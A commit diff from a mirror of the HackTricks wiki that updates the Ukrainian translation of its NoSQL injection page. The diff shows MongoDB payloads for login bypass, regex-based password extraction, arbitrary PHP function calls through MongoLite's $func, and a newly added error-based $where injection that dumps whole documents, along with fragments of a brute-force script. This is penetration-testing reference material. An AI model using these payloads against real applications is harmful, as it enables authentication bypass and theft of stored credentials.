mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/nosql-injection.md'] to uk
This commit is contained in:
parent
3591511bb9
commit
8504345f1d
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
||||
```
|
||||
### Обхід базової аутентифікації
|
||||
|
||||
**Використання not equal ($ne) або greater ($gt)**
|
||||
**Використання не рівно ($ne) або більше ($gt)**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
@ -76,9 +76,9 @@ in JSON
|
||||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### PHP Випадкове Виконання Функцій
|
||||
### PHP Arbitrary Function Execution
|
||||
|
||||
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### Отримання інформації з різних колекцій
|
||||
|
||||
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
|
||||
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
|
||||
|
||||
**ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
|
||||
```json
|
||||
@ -108,6 +108,12 @@ in JSON
|
||||
}
|
||||
]
|
||||
```
|
||||
### Error-Based Injection
|
||||
|
||||
Вставте `throw new Error(JSON.stringify(this))` у клаузу `$where`, щоб ексфільтрувати повні документи через помилки JavaScript на стороні сервера (вимагає, щоб додаток витікав помилки бази даних). Приклад:
|
||||
```json
|
||||
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
|
||||
```
|
||||
## MongoDB Payloads
|
||||
|
||||
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
@ -176,7 +182,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### Брутфорс логінів та паролів з POST логіна
|
||||
### Brute-force login usernames and passwords from POST login
|
||||
|
||||
Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
|
||||
```python
|
||||
@ -229,5 +235,6 @@ get_password(u)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
||||
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
||||
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user